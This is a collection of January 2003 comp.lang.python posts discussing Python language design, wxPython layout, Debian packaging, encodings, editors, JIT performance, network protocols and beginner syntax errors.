> > not work!).  While not identified as 'unbound', it acts like a
normal
> > instance methods.  So you have the parameter order backwards.
>
> I meant it *should* be a class method with str being the class, join
> being the method and somelist and joinstring being the arguments.

In the last paragraph of my post, which you clipped (I suspect without
reading), I already acknowledged that you might have meant this and
explained that it is illogical (inconsistent with the meaning of
'class method') and therefore a bad idea (ie, would create a warty
inconsistency):
"
If the quote above is a another suggestion -- that .join could (or
should) be or have been turned into a class method instead of an
instance method, then I oppose this also.  Every method *could* be
turned in a 'class' method.  (Or we could get rid of the
instance.method syntax entirely and always use the class.meth(inst)
alternative.)  However, this violates the whole notion of a class
method -- which is a method that operates on or with a class and it
attributes instead of any particular instance.  This does not, not,
not apply to .join.  The purpose of adding explicit class methods was
to avoid the circumlocation of writing a class method as an instance
method called with an arbitrary instance that is then ignored except
for using it to get at the class that should have been the self param
in the first place, instead of the instance.  Again, this has nothing
to do with .join().
"
To paraphrase the above: in Python, instance methods take an instance
as a parameter, while class methods get a class instead of an
instance.  Join() must get a string instance and has no use for the
string class.  It therefore *is* an instance method and *is not* a
class method.  If we were to mislabel .join, we could and might as
well do the same for any and every other instance method.

My argument assumes and is based on the following two principles:

1. If a function has two parameters, A and B, and A is any member of
one particular type/class, while B is a member of restricted subsets
of several different types and classes, including user-defined classes
with the proper behavior, and if the function is to be made into a
method, then it is and should be an instance method of the class of A.

2. Consistency is good.

Terry J. Reedy





From tjreedy at udel.edu  Tue Jan 14 12:33:12 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 14 Jan 2003 12:33:12 -0500
Subject: gmane.comp.python.pypy
Message-ID: <FpSdnUn-bOPc17mjXTWc3A@comcast.com>

Anyone who wishes to follow the pypy discussion list via a newsreader
instead of mail reader may do via the news.gmane.org list
gmane.comp.python.pypy.  (This is one of about 50 Python mailing lists
gated as a news group).  More info at www.gmane.org.

Terry J. Reedy





From sdahlbac at abo.fi  Fri Jan 24 09:56:36 2003
From: sdahlbac at abo.fi (Simon Dahlbacka)
Date: Fri, 24 Jan 2003 16:56:36 +0200
Subject: SV: UML and Python [0T?]
References: <OGFW9.1425$Sv3.183917@newsread1.prod.itd.earthlink.net> <b0pjml$q0h$1@news.online.de>
Message-ID: <3e315461@newsflash.abo.fi>

perhaps slightly off-topic, but there's also a SMW - a UML tool written in
python

http://www.abo.fi/~iporres/html/smw.html



Stefan Schwarzer <sschwarzer at sschwarzer.net> skrev i
diskussionsgruppsmeddelandet:b0pjml$q0h$1 at news.online.de...
> Terry Hancock wrote:
> > Would I be wasting my time to use UML?  And if I do use it, should I
> > concentrate on being rigorously correct or just use quick, simplified
> > representations?
>
> It depends. :-) In my opinion, any diagrams shouldn't be an end in itself
but rather
> a means to help designing and explaining the code. So, I use UML only when
it
> helps me to design or explain something which would be more difficult
without UML
> (see also http://www.agilemodeling.com/ ).
>
> Consequently, I use UML rather seldom (though I like it), mostly when
designing
> frameworks or discussing a design with colleague.
>
> > I'm using "dia" to do this. I created some reverse-engineered drawings
> > using happydoc, but I'm actually moving towards just doing new design
from
> > scratch, because the automatically generated drawing is kind of a pain
to
> > work with.
>
> So far, I've mostly used Poseidon from Gentleware (
http://www.gentleware.com/ )
> and I like it.
>
> Stefan
>





From me at privacy.net  Thu Jan 30 19:12:14 2003
From: me at privacy.net (Greg Ewing (using news.cis.dfn.de))
Date: Fri, 31 Jan 2003 13:12:14 +1300
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]    Minimal Python project)
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org> <a626bbd7.0301291212.56379a7c@posting.google.com> <mailman.1043872269.28600.python-list@python.org> <3E389518.9C114150@alcyone.com>
Message-ID: <3E39BF5E.9020301@privacy.net>

Erik Max Francis wrote:

> "I drink P and it gives me super powers."
> 
> Okay, I just threw that last one in to confuse you.


"Oh, no! All the syntax drains are blocked! We're going
to drown under a surfeit of excess Python tokens. What
can we do?"

"There's nothing we can do. We're all going to die..."

"No, wait! Look! We're saved... it's... P-Man!"




From donnalcwalter at yahoo.com  Thu Jan 23 10:56:47 2003
From: donnalcwalter at yahoo.com (Donnal Walter)
Date: Thu, 23 Jan 2003 09:56:47 -0600
Subject: wxPanel and Sizers question
References: <3E300AD1.8AE42379@ipm.fhg.de>
Message-ID: <b0p39k$736$1@main.gmane.org>

"Markus von Ehr" <markus.vonehr at ipm.fhg.de> wrote in message
news:3E300AD1.8AE42379 at ipm.fhg.de...
> Hi,
>
> I want to create a Panel wherein several controls should be
> displayed vertically arranged.
> The problem is, that only the first button: "one" is
> displayed. I don't know where the problem is, because in
> several examples it's done like that.
>
> class MyWindow(wxPanel):
>     def __init__(self, parent, ID):
>         wxPanel.__init__(self, parent, -1)
>
>         box = wxBoxSizer(wxVERTICAL)
>         box.AddWindow(wxButton(self, 1, "one"), 0, wxEXPAND)
>         box.AddWindow(wxButton(self, 1, "two"), 0, wxEXPAND)
>         box.AddWindow(wxButton(self, 1, "three"), 0, wxEXPAND)
>         box.AddWindow(wxButton(self, 1, "four"), 0, wxEXPAND)
>
> Any hints? Thanks,

Try this (untested, but it should work):

class MyWindow(wxPanel):
    def __init__(self, parent, ID):
        wxPanel.__init__(self, parent, -1)

        box = wxBoxSizer(wxVERTICAL)
        box.AddWindow(wxButton(self, -1, "one"), 0, wxEXPAND)
        box.AddWindow(wxButton(self, -1, "two"), 0, wxEXPAND)
        box.AddWindow(wxButton(self, -1, "three"), 0, wxEXPAND)
        box.AddWindow(wxButton(self, -1, "four"), 0, wxEXPAND)

Using -1 for the wxButton id argument lets wxPython make up a new id for
each button. When you use 1, it sets ALL the button ids to 1.

Donnal Walter
Arkansas Children's Hospital







From andrew at indranet.co.nz  Mon Jan  6 06:21:38 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Tue, 07 Jan 2003 00:21:38 +1300
Subject: Can emacs support auto complete of python?
In-Reply-To: <m2hecnx7ej.fsf@mycroft.actrix.gen.nz>
References: <mailman.1041771677.3260.python-list@python.org>
 <slrnb1gfvp.1ga.davecook@localhost.localdomain>
 <mailman.1041777729.13860.python-list@python.org>
 <ava2rs$j2a$1@news.tudelft.nl> <m2hecnx7ej.fsf@mycroft.actrix.gen.nz>
Message-ID: <38280000.1041852098@localhost.localdomain>

True, but the default keymaps for both XEmacs on Windows and XFree86 on 
anything with a PC keyboard result in Meta (in emacs land) = Alt (on the 
keycap).  Which is very confusing to someone who is now learning this :-)

I can quite forgive anyone who thinks emacs is confusing; this issue and 
the C-h thing on text terminals are just awful for beginners.  Not to 
mention that there are two different 'get out of trouble' keys (C-g and 
C-]) and neither of them is Esc or C-c :-)

Andrew

--On Monday, January 06, 2003 16:51:32 +1300 Paul Foley <see at below.invalid> 
wrote:

> On Sun, 5 Jan 2003 19:59:56 +0000 (UTC), Charl P Botha wrote:
>
>> AFAIK, alt-/ is the default binding for dabbrev,
>
> Meta-/ is the default binding for dabbrev-expand.  There are no
> bindings on Alt- anything by default.
>
> Meta != Alt
>
> --
> Qui beneficium dedit, taceat; narret qui accepit                 -- Seneca
>
> (setq reply-to
>   (concatenate 'string "Paul Foley " "<mycroft" '(#\@) "actrix.gen.nz>"))
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From andrew at indranet.co.nz  Fri Jan 10 22:51:38 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Sat, 11 Jan 2003 16:51:38 +1300
Subject: [ann] Minimal Python project
In-Reply-To: <FOIT9.121090$Hs2.11398609@kent.svc.tds.net>
References: <mailman.1042209749.31180.python-list@python.org>
 <FOIT9.121090$Hs2.11398609@kent.svc.tds.net>
Message-ID: <2029900000.1042257098@localhost.localdomain>


--On Friday, January 10, 2003 23:37:09 +0000 "Edward K. Ream" 
<edream at tds.net> wrote:

>> As Armin Rigo of PSYCO fame takes part in the effort,
> we are confident that MinimalPython will eventually
> run faster than today's CPython.
>
> This announcement seems to be making a truly remarkable claim, namely that
> one could increase the speed of  C code by recoding it in Python and then
> applying Psycho to it.

Yep, you can!  It takes a pretty strange piece of code, but it does happen. 
For instance, I've written a key-management protocol in Python, and it 
really is faster than the C implementations of the same thing when certain 
key functions are fed to psyco.  (of course, this may just say that I have 
a better feel for algorithm design)

> I am inclined to disbelieve this claim.  Why should Psycho be able to do
> better than an optimizing C compiler applied to hand-written interpreter
> code and/or library code?  The only possibilities I can think of:
>
> 1. The GIT somehow has access to enough run-time information to perform
> some truly excellent optimizations.

This one :-)  For instance, in a dynamic language, you can't know until 
runtime if some argument to a method has constant type or (better) constant 
value, but a JIT can discover and use this.  If it does not, and someone 
passes it a different type or value, the JIT can then discover this and 
compile a new version that handles that type, optimised.  Note that the 
constant value case can't be optimised by a C compiler, unless the function 
is inlined, which doesn't happen in big programs very much because the 
function will often be in another module.

It is also possible to inline method calls, merge methods if they are often 
called in a particular sequence, and then optimise over the results.  C 
compilers, because of modular compilation again, often can't do this either 
(although a particularly fancy compiler might; it needs an integrated build 
system to make this possible).

> 2. The granularity of the data processed by the GIT somehow is big enough
> to again affect some excellent optimizations.

Maybe so, I'm not sure.

> 3. There are other marvelous optimizations, unknown to me and available
> neither to Guido nor to an optimizing compiler that can be applied.
>
> My guess is that none of these are true.  Furthermore, I suspect that if
> such optimizations are available to the GIT the optimizations could also
> be made available either to Guido or to optimizing C compilers.  Note
> that the fact that Psycho can improve Python code is not, by itself, an
> indication that it could improve the corresponding C code!
>
> Would anyone care to enlighten me how MinimalPython will achieve its
> stated goals?
>
> Edward
> --------------------------------------------------------------------
> Edward K. Ream   email:  edream at tds.net
> Leo: Literate Editor with Outlines
> Leo: http://personalpages.tds.net/~edream/front.html
> --------------------------------------------------------------------
>
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From gerhard.haering at opus-gmbh.net  Fri Jan 31 07:42:26 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 31 Jan 2003 12:42:26 GMT
Subject: Broken debian python
References: <mailman.1044009149.17981.python-list@python.org>
Message-ID: <slrnb3krmc.13o.gerhard.haering@haering.opus-gmbh.net>

Egbert Bouwman <egbert.list at hccnet.nl> wrote:
> In debian, when you refer to python, you are actually talking 
> about debian's default python version, 2.1
> 
> I have removed python, and installed python2.2, being 2.2.1-6
> 
> I try to install wxpython:
>     apt-get install libwxgtk2.4-python
>     
> That results in an error:
> 
> Sorry but the following packages have unmet dependencies:
>     libwxgtk2.4-python: Depends: python (>= 2.2)
> E: Sorry, broken packages

Which flavour of Debian are you actually using? woody? testing? unstable? Or
any combination thereof?

If you're willing to use a testing/unstable system, you should be able to
install libwxgtk2.4-python. There's some configuration work to do, however:

#v+
opuslx5:~# cat /etc/apt/preferences
Explanation: see http://www.argon.org/~roderick/apt-pinning.html
Package: *
Pin: release o=Debian,a=stable
Pin-Priority: 900

Package: *
Pin: release o=Debian,a=testing
Pin-Priority: 400

Package: *
Pin: release o=Debian,a=unstable
Pin-Priority: 300

Package: *
Pin: release o=Debian
Pin-Priority: -1
#v-

Ok, after also putting the source lines for testing and unstable in
/etc/apt/sources.list and doing an "apt-get update", you could try:

#v+
opuslx5:~# apt-get install -t unstable libwxgtk2.4-python
Reading Package Lists... Done
Building Dependency Tree... Done
The following extra packages will be installed:
  blt gcc-3.2-base idle idle-python2.2 libc6 libc6-dev libdb1-compat libdb4.0
  libgcc1 libncurses5 libncurses5-dev libpng12-0 libstdc++2.10-glibc2.2
  libstdc++5 libwxgtk2.4 moin python python-tal python2.1 python2.1-tk
  python2.2 python2.2-tal python2.2-tk tcl8.4 tix8.1 tk8.4
The following NEW packages will be installed:
  gcc-3.2-base idle-python2.2 libdb1-compat libdb4.0 libgcc1 libpng12-0
  libstdc++5 libwxgtk2.4 libwxgtk2.4-python python2.2-tal python2.2-tk tcl8.4
  tix8.1 tk8.4
13 packages upgraded, 14 newly installed, 0 to remove and 146  not upgraded.
1 packages not fully installed or removed.
Need to get 20.1MB of archives. After unpacking 27.0MB will be used.
Do you want to continue? [Y/n]
#v-

As you see, this would update *a lot* of packages. At home, I do have a
testing/unstable system with the same /etc/apt/preferences. But I currently
don't want to make that experiment on this particular Oracle database server
;-)

Another way is to grab the unstable wxgtk sources (apt-get source -t unstable
libwxgtk2.4-python) and try to compile it on your stable or testing system
using dpkg-buildpackage (apt-get install dpkg-dev first :-), but I haven't
tried that.

Gerhard
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From cb at orcl.net  Tue Jan 21 05:10:06 2003
From: cb at orcl.net (Christian Bretterklieber)
Date: 21 Jan 2003 10:10:06 GMT
Subject: Unicode error in exefied Python script
References: <b0ft3r$omcf2$1@ID-75629.news.dfncis.de> <m3ptqs42vw.fsf@mira.informatik.hu-berlin.de> <b0hoij$oue1k$1@ID-75629.news.dfncis.de> <m3u1g3zeut.fsf@mira.informatik.hu-berlin.de>
Message-ID: <b0j69u$p9n3b$1@ID-75629.news.dfncis.de>

Martin v. L?wis <martin at v.loewis.de> wrote:
> Christian Bretterklieber <cb at orcl.net> writes:

>>   I have now found the difference. When I execute the script,
>> sys.getdefaultencoding() returns 'cp1252'. 

> So you have edited site.py? You should also undo this edit.

  Yes. But not to 'cp1252'. See below.

>>   Is there another simple method to set the default encoding? 

> No. Instead, you should modify your script not to rely on the system
> default encoding.

  This sounds like a lot of work. I have data from various sources. And
does that mean if I set a simple string within my script, I also need to
call encode? Like:

  mystring = 'Suppi String ??? ...'.encode('latin1')

>> And what might be the cause for the exefied script to have a
>> different encoding?

> 'ascii' is the factory default for Python. So the question is why you
> don't get the factory default.

  PythonWin interactive shell: 'iso-8859-1' (which I set in site.py)
  Script: 'cp1252' (no idea where this comes from)
  EXE version: 'ascii'

> Regards,
> Martin


c/hris.

-- 
Love is Hate. War is Peace. Windows is stable.



From bokr at oz.net  Sat Jan  4 10:40:04 2003
From: bokr at oz.net (Bengt Richter)
Date: 4 Jan 2003 15:40:04 GMT
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <87d6neay90.fsf@gvdnet.dk> <slrnb1bnuk.o8n.grey@teleute.dmiyu.org>
Message-ID: <av6v8k$h18$0@216.39.172.122>

On Fri, 03 Jan 2003 19:09:08 -0000, Steve Lamb <grey at despair.dmiyu.org> wrote:

>On Fri, 03 Jan 2003 19:23:23 +0100, Martin Christensen
><knightsofspamalot-factotum at gvdnet.dk> wrote:
>> What's more interesting, it looks like the vi camp is starting to chase
>> Emacs, because the things that are being implemented for Vim is exactly what
>> we've been doing all along for Emacs. Ironic, isn't it?
>
>    I doubt we'll ever see a newsreader and email client in vim's scripting
>lanuage.  BTW, pick one.  It has four that I am aware of and three of them are
>discussed here heavilty.  Perl, Python and Ruby.  As I said before, it is the
>penchant for craming everything and the kitchen sink into the editor which has
>no business being there.

Maybe a different concept of the "craming" would help. IOW, ISTM letting
"everything and and the kitchen sink" be accessible through an editor interface
interface does not contitute "craming" those things into the editor.

News readers and email clients have to be written with a lot text manipulation
features that have much in common with primitives used in writing editors, so if
you wanted to write a full-featured and extensible news reader or email client,
what route would you take?

Suppose there were a Python module called tme.py which you could import and get
all kinds of handy classes for holding chunks of text and methods for manipulating
them, and tapping into file objects as sources and sinks, etc., etc., would you
not tend to use that for your news reader or email client project?
I'll assume you would ;-)

Ok, now suppose tme.py when run as a program started an interactive shell that
presented a nicely featured editor, which happened to have some simple editing
features you wanted for composing email or news posts, etc., so the basic
composition problem was solved. Would you build on this interface? Or would you
insist on writing your own and just importing tme for its text manipulation engine
(tme ;-) capabilities? If it happened to be easier to arrive at the interface you
wanted by scripted modifications of the tme.py editor interface, and you did that,
how would you describe what you did to implement your project using tme.py? Would
it be intelligent reuse or editor abuse? If the next distribution of tme.py included
tme_newsread.py that could be started through tme.py's normal default editor startup
interface, would that be "craming" a newsreader "into" tme.py?

It you think of emacs and vim conceptually like the imaginary (?) tme.py I just
conjured, does that modify your thoughts on "craming" stuff "into" them?

BTW, FWIW, I cut my editing teeth on TECO, but I tend to use vim (or vi for non-gui) lately,
unless I'm using the builtin for MSVC++6's IDE (which (the IDE) is hard to beat for stepping
through code). I guess I will have to move to emacs for real geek creds though ;-)

Regards,
Bengt Richter



From chris_py004 at psychofx.com  Mon Jan 27 19:01:25 2003
From: chris_py004 at psychofx.com (Chris Miles)
Date: Tue, 28 Jan 2003 00:01:25 +0000
Subject: python weblog apps?
Message-ID: <20030128000125.A21343@psychofx.com>

I am after a simple weblog for a project, and I see
a number of php weblog apps around, but have not
found a Python-based one.

If you know of one you can point me at, that'd be
great.

Cheers,
CM

-- 
Chris Miles




From zeitlin at parthe.lpthe.jussieu.fr  Wed Jan 22 06:35:16 2003
From: zeitlin at parthe.lpthe.jussieu.fr (Vadim Zeitlin)
Date: Wed, 22 Jan 2003 11:35:16 +0000 (UTC)
Subject: Newbie question: wxNotebook
References: <3E2D1E57.19CC5FC4@ipm.fhg.de> <b0ju52$1nmi$1@serv.vrn.ru>
Message-ID: <slrnb2t0fk.12l.zeitlin@parthe.lpthe.jussieu.fr>

On Tue, 21 Jan 2003 19:56:45 +0300, Lexy Zhitenev <zhitenev at cs.vsu.ru> wrote:
> Yes, sizers and layouts don't work for wxNotebook. I hope it will be fixed
> in the next versions.

 There are no known [to me] problems with using either the sizers or layout
constraints with wxNotebook and, in fact, I do it regularily in my code.

 The code of the OP had a problem: the notebook page wasn't created with the
notebook as the parent (it must be). Maybe this explains the problems he has
had.

> The only thing I can propose is to use code like that.
> I use this variant:
> 
>         nb = wxNotebook(self, -1, (0, 0), size=self.GetClientSize(), style =
> wxNB_BOTTOM)
>         def OnFrameSize(evt, self=self, nb=nb):
>             nb.SetSize(self.GetClientSize())
>         EVT_SIZE(self, OnFrameSize)

 If you want wxNotebook to take up the entire client area of the frame, you
don't need to do anything at all -- this will happen by default.

 Regards,
VZ
-- 
GCS/GM d? H+ s++:-- p2 au--- a- w+ v C+++ UBLS+++ P- L++ N++ E--- W++++ M? V--
-po+ R++ G`` !tv b+++ D--- e++++ u++ h--- f+ r++ n- y?



From peter at engcorp.com  Fri Jan 24 09:59:38 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Jan 2003 09:59:38 -0500
Subject: Compiled to bytecode like java?
References: <1YTX9.11024$AV4.1218@sccrnsc01>
Message-ID: <3E3154DA.8E4D9F38@engcorp.com>

Joel May wrote:
> 
> * How complex is the Python source code?  If I port it to an
> python-unsupported processor (a dsp), would I kill myself trying to get it
> to work?  How many lines of source code are we talking about here?

For us to give a useful answer, you might need to provide more
detail on issues such as memory space, processor "int" size, 
and so forth.

Python has been ported to the Palm Pilot, and runs on embedded x86
devices based on the PC-104 standard (meaning they're a lot like
older PCs), and some other small devices.  Do you envision anything
much different?

-Peter



From johnroth at ameritech.net  Fri Jan 17 10:28:51 2003
From: johnroth at ameritech.net (John Roth)
Date: Fri, 17 Jan 2003 10:28:51 -0500
Subject: The benefit of properties (was Re: PEP 8: on member variables vs.  attributes)
References: <f57664b9.0301170041.46cc103e@posting.google.com> <v2fuopd3ui6o48@news.supernews.com> <3E280FE3.EB4033F@engcorp.com>
Message-ID: <v2g87trps7pv24@news.supernews.com>

"Peter Hansen" <peter at engcorp.com> wrote in message
news:3E280FE3.EB4033F at engcorp.com...
> John Roth wrote:
> > Properties are simply a piece of syntactic sugar on top
> > of accessor functions. As such, they provide the same
> > information hiding benefits as accessors.
> >
> > It's a nice piece of syntactic sugar, but it does not provide
> > anything fundamental that can't be accomplished in some
> > other way.
> >
> > What it does provide is clarity and a level of encapsulation
> > that facilitates maintenance.
>
> They can also provide an obfuscation technique because they
> make implicit things that should sometimes be explicit.  I
> think this might be Yet Another Tool That can Easily be
> Abused in the hands of an unthinking programmer.
>
> When I was leading a team doing lots of Delphi development,
> several developers (who had used Delphi much longer than I)
> insisted on using properties for just about everything.  No
> accessor methods at all.
>
> I rebelled against this at the time, almost outlawing properties,
> because it got to the point where I couldn't tell when something
> was just setting a value, possibly with a check or clipping or
> something applied, and when the code -- which looked like a simple
> assignment -- was actually storing some data in a file, sending
> a message to another thread, stopping the machine's motion, and
> then launching a Space Shuttle.
>
> No doubt forbidding them was an overreaction, but at least it
> let us start getting a handle on the complexity of the code.

I'd say it was a slight overreaction, but only slight. My take on
the underlying problem is that there wasn't a good understanding
of what looks like a variable and what's a method.

My feeling is that if I can't name it as a variable, then it's not
a variable, it's a method.

> I've been looking forward to having a chance to let them redeem
> themselves when I start using them with Python... if they can.
> Do they really enhance clarity and maintenance, or might they be
> more _in the way_ of easy comprehension?

I think naming standards help here, but I've certainly got nothing
against using accessor functions for everything. What I don't like
is exposing the *real* instance variables. That way leads to more
coupling and a harder time maintaining the program.

John Roth
>
> -Peter





From phr-n2002b at NOSPAMnightsong.com  Tue Jan  7 06:32:11 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 07 Jan 2003 03:32:11 -0800
Subject: iteration over methods
References: <3E1AB7B3.4050404@aon.at>
Message-ID: <7x65t1ci10.fsf@ruckus.brouhaha.com>

Oliver Vecernik <vecernik at aon.at> writes:
>      def runallmethods(self):
>          for func in dir(self):
>              if func[0:4] == 'method':
>                  apply(self.func) # Does *not* work!
> 
> I'd like to run all methods named 'method...' in a sequence. Has
> anybody a clue how to achive this?

Try "for func in dir(self.__class__)".



From johnroth at ameritech.net  Thu Jan  2 09:03:40 2003
From: johnroth at ameritech.net (John Roth)
Date: Thu, 2 Jan 2003 09:03:40 -0500
Subject: Sorting out sort (Re: Python vs. Ruby)
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net> <v14ch7mkp0vu55@news.supernews.com> <mailman.1041382562.17669.python-list@python.org> <v15qgkgpq72tbf@news.supernews.com> <3759308d.0301011401.4b32deba@posting.google.com> <3e143ffa$0$71611$edfadb0f@dread11.news.tele.dk>
Message-ID: <v18hldk4img654@news.supernews.com>

"Anders J. Munch" <andersjm at dancontrol.dk> wrote in message
news:3e143ffa$0$71611$edfadb0f at dread11.news.tele.dk...
> "Rob Renaud" <rpgnmets at aol.com> wrote in message
> news:3759308d.0301011401.4b32deba at posting.google.com...
> > <lot snipped>
> > "John Roth" <johnroth at ameritech.net> wrote in message
> > > Whether append() returns a *new* object or not is irrelevant to
> > > my arguement. The fact that it returns None is the wart.
> > >
> > > John Roth
> >
> > It's consistant, not a wart from my perspective.  If an object is
> > modified, it is not returned.
> >
> > For every part of the (admittedly small) python library I know, that
> > is the case.  Returning None is a hint that the object is modified.
> >
> > So then the question becomes, why don't append(), sort(), reverse()
> > return a new list and not modify the original?  Are mutable objects
> > themselves a wart on the langauge?
>
> As others have answered, for performance reasons.  All in all, the
> design choices for list's sort method make perfect sense.
>
> I do miss a true functional sort though.  More often than not,
> performance is not that critical, and a functional sort would allow
> simpler, clearer code.
>
> Fortunately it's easy to write one yourself:
>
> def sort(sequence, cmpfunc=None):
>     """sort a sequence, returning a new list; if given,
cmpfunc(x,y) -> -1, 0,
> 1"""
>     sorted = list(sequence)
>     if cmpfunc is None:
>         sorted.sort()
>     else:
>         sorted.sort(cmpfunc)
>     return sorted
>
>
> How about adding this to the library somewhere?

This version unfortunately doesn't allow chained application. - it's
purely
a functional version. It shouldn't be all that hard to subclass list to
add
.sorted() and .reversed() methods, though.

John Roth
>
> my-preference-would-be-as-a-builtin-ly y'rs, Anders
>
>





From andrew at indranet.co.nz  Sat Jan 25 05:47:51 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Sat, 25 Jan 2003 23:47:51 +1300
Subject: Something like asynchronous XML-RPC possible?
In-Reply-To: <cb035744.0301240604.6e5295b2@posting.google.com>
References: <cb035744.0301240308.25034fed@posting.google.com>
 <3e31281c$0$49102$e4fe514c@news.xs4all.nl>
 <cb035744.0301240604.6e5295b2@posting.google.com>
Message-ID: <29970000.1043491671@localhost.localdomain>


--On Friday, January 24, 2003 06:04:06 -0800 Will Stuyvesant 
<hwlgw at hotmail.com> wrote:

> I *know* I am not tied to UDP but to convince my boss I would have to
> use UDP since he knows that is asynchronous.  Otherwise I would have
> to convince him that what I am doing is also okay.  Using UDP would
> save me from lengthly explanations and discussions.  I can foresee not
> being able to convince them that the "components" I build have an
> asynchronous semantics unless they communicate via UDP.  You know
> bosses...
>
> "Sounds interesting, but why don't you just use UDP like we asked you
> to".

"Because if I do it'll only work 99% of the time in the lab, and about 30% 
of the time in real life, and it'll cost us about ten times as much in the 
long run, by which time I'll have reinvented TCP.  Badly."

UDP is the *Unreliable* Datagram Protocol, whatever the official 
definition.  It is supposed only to be used in cases where you can be 
extremely error and loss tolerant; there isn't even a guarantee that the 
sending host ever emits any particular UDP packet, let alone that it gets 
to the destination.

If you can afford to build most of TCP (which you can't), go ahead, but it 
is better just to use it.  There is a reliable datagram protocol in the 
IETF process called DCCP, but AFAIK there are no implementations yet; if 
there were, it would be a reasonable suggestion.

Use NFS as an example: an asynchronous and stateless protocol that 
nevertheless, for good real world reasons, has been migrated from UDP to 
TCP to get the reliability up to something tolerable.

The DNS has mandatory TCP fallback for similar reasons: try UDP, but if you 
prove you can't because the request is too big, or the answer is too big, 
or you don't get an answer in reasonable time, try again with TCP.

Like Laura said, the difficulty of convincing your boss is far lower than 
solving this problem properly; the IETF has been trying to improve on TCP 
for a very, very long time, and is only now getting some success.  Like 
others have pointed out, TCP does not imply synchronous behaviour, nor even 
necessarily blocking behaviour in the sending thread.

If you want automagic connection reestablishment and broking, how about 
XMLRPC over Jabber rather than HTTP?  That's more of a message oriented 
environment (and thus better for asynchronous style), but still built on 
top of TCP.

Andrew




From max at alcyone.com  Wed Jan  8 20:57:14 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 08 Jan 2003 17:57:14 -0800
Subject: PIL - gif image
References: <3e1c4d71@newsflash.abo.fi>
Message-ID: <3E1CD6FA.B66F4C09@alcyone.com>

Simon Dahlbacka wrote:

> I don't know if there's something I've missed in the docs or what, but
> how
> do I translate the index I get from getpixel(xy) into a real color,
> i.e. rgb
> values? I'm trying to get hold of the real color values of 
> particular
> pixel in a paletted image.. (gif)

Check the .palette attribute, which for an image with mode 'P' will be
an instance of an ImagePalette.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Strange is our situation here upon earth.
\__/ Albert Einstein
    ZOE / http://www.alcyone.com/pyos/zoe/
 A simple Python OpenGL rendering engine.



From mwh at python.net  Wed Jan 29 08:15:27 2003
From: mwh at python.net (Michael Hudson)
Date: Wed, 29 Jan 2003 13:15:27 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <mailman.1043781593.6864.python-list@python.org> <mzCZ9.915$wd2.80392@newsread2.prod.itd.earthlink.net> <mailman.1043799538.401.python-list@python.org> <7h3el6w17cp.fsf@pc150.maths.bris.ac.uk> <mailman.1043845191.15172.python-list@python.org>
Message-ID: <7h3el6wyu5y.fsf@pc150.maths.bris.ac.uk>

Laura Creighton <lac at strakt.com> writes:

> > Laura Creighton <lac at strakt.com> writes:
> > 
> > > Typing 400 words a minute helps as well.  I cannot do that yet, but
> > > one person here at Strakt can.  Utterly awesome.  I thought that
> > > 200 words was good....
> > 
> > I think I can guess who that is :)
> > 
> > Cheers,
> > M.
> 
> And I think you would be guessing the wrong name ....

Probably.  How fast can Alex type then?  It must be pretty fast.

Cheers,
M.

-- 
31. Simplicity does not precede complexity, but follows it.
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html



From martin at v.loewis.de  Thu Jan  9 08:00:49 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 09 Jan 2003 14:00:49 +0100
Subject: Problems with idle under Python 2.3.a1
In-Reply-To: <mailman.1042111107.23190.python-list@python.org>
References: <mailman.1042111107.23190.python-list@python.org>
Message-ID: <3E1D7281.9050409@v.loewis.de>

Nadav Horesh wrote:
> Any ideas?

It's a bug, and it has been fixed.

Regards,
Martin





From bub at joos.us  Wed Jan 15 13:56:55 2003
From: bub at joos.us (Bubba)
Date: Wed, 15 Jan 2003 18:56:55 GMT
Subject: New User in Python: What went wrong?
References: <Q1iV9.2$zH5.0@nwrddc03.gnilink.net>
Message-ID: <jobb2v8mvfkvcds8d7f2bckn453q6fj0k6@4ax.com>

On Wed, 15 Jan 2003 18:48:16 GMT, "news.verizon.net"
<vze33v6m at verizon.net> wrote:
try

print "12*4 =" ,12*4

>SyntaxError: invalid syntax
>  File "C:/Python/test.py", line 10
>    print "12*4 =" 12*4
>                         ^
>SyntaxError: invalid syntax
>
>
>------------------------------
>The actual Program: 
>
>#this is not quite true outside of USA
>#and is base on my dim memorie of my younger years
>print "Firsttish Grade"
>print "1+1 =", 1+1
>print "2+4 =", 2+4
>print "5-2 =", 5-2
>print
>print "Thirdish Grade"
>print "243-23 =", 243 - 23
>print "12*4 =" 12*4
>print "12/3 =" 12/3
>print "13/3 =",13/3," R ",13%3
>print
>print "Junior High"
>print "123.56-63.12 =",123.56-62.12
